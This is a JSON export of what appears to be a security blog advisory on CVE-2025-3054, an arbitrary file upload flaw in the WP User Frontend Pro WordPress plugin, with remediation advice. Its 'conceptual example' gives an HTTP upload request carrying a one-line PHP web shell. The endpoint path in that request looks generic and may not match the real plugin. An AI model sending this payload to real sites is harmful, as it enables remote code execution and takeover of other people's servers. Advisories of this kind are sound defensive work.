{"id":51151,"date":"2025-06-11T15:26:05","date_gmt":"2025-06-11T15:26:05","guid":{"rendered":""},"modified":"2025-09-12T22:15:09","modified_gmt":"2025-09-13T04:15:09","slug":"cve-2025-3054-arbitrary-file-upload-vulnerability-in-wp-user-frontend-pro-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-3054-arbitrary-file-upload-vulnerability-in-wp-user-frontend-pro-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2025-3054: Arbitrary File Upload Vulnerability in WP User Frontend Pro Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-3054 vulnerability is a critical security flaw found in the WP User Frontend Pro plugin for WordPress. This flaw allows authenticated attackers with subscriber-level access or above to upload arbitrary files to the affected site&#8217;s server. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-37838-use-after-free-vulnerability-in-linux-kernel-s-ssi-protocol-driver-due-to-race-condition\/\"  data-wpil-monitor-id=\"57724\">vulnerability arises due<\/a> to a lack of file type validation in the upload_files() function, thus potentially enabling remote code execution. It is crucial for all <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6755-wordpress-plugin-vulnerability-leads-to-arbitrary-file-deletion\/\"  data-wpil-monitor-id=\"65608\">WordPress sites using this plugin<\/a>, particularly those that have the &#8216;Private Message&#8217; module enabled and are using the Business version of the PRO software, to take immediate action and secure their systems.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-3054<br \/>\nSeverity: High (8.8 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (Subscriber-level access)<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-47668-linux-kernel-vulnerability-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"57725\">Potential system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4164628090\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3055-critical-arbitrary-file-deletion-vulnerability-in-wp-user-frontend-pro-plugin\/\"  data-wpil-monitor-id=\"59149\">User Frontend Pro<\/a> Plugin for WordPress | Up to and including 4.1.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31189-file-quarantine-bypass-vulnerability-in-macos\/\"  data-wpil-monitor-id=\"57801\">vulnerability is based on the lack of file<\/a> type validation in the upload_files() function within the WP User Frontend Pro plugin. An attacker with subscriber-level <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48998-unauthenticated-access-to-arbitrary-files-in-dataease\/\"  data-wpil-monitor-id=\"58768\">access can misuse this function to upload arbitrary files<\/a>, including those having malicious content. Once uploaded, these files could be executed on the server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22041-linux-kernel-vulnerability-in-ksmbd-sessions-deregister-may-lead-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"57910\">leading to potential remote code execution and system<\/a> compromise. It is important to note that this exploit requires the &#8216;Private Message&#8217; module to be enabled.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1152259825\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5353-local-authenticated-attacker-exploit-in-ivanti-workspace-control\/\"  data-wpil-monitor-id=\"65610\">attacker might exploit<\/a> this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-user-frontend-pro\/upload_files HTTP\/1.1\nHost: target-wordpress-site.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious_script.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker sends a HTTP POST request to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4986-stored-cross-site-scripting-vulnerability-in-3dexperience-product-manager\/\"  data-wpil-monitor-id=\"57330\">vulnerable endpoint with a malicious PHP script<\/a> as a file upload. If successful, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47933-arbitrary-actions-and-cross-site-scripting-vulnerability-in-argo-cd\/\"  data-wpil-monitor-id=\"58448\">script could enable the attacker to execute arbitrary<\/a> commands on the server.<\/p>\n<p><strong>Remediation<\/strong><\/p>\n<p>To mitigate this vulnerability, it is strongly recommended to apply the vendor patch once it is available. Until then, using a web application firewall (WAF) or intrusion detection system (IDS) can aid in detecting and preventing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"65609\">potential attacks<\/a>. Additionally, disable the &#8216;Private Message&#8217; module if it is not in use. Regularly updating all <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8047-critical-security-vulnerability-in-wordpress-plugins-pixterme-and-pixter-image-digital-license\/\"  data-wpil-monitor-id=\"82135\">plugins and monitoring for suspicious activity can further enhance security<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-3054 vulnerability is a critical security flaw found in the WP User Frontend Pro plugin for WordPress. This flaw allows authenticated attackers with subscriber-level access or above to upload arbitrary files to the affected site&#8217;s server. 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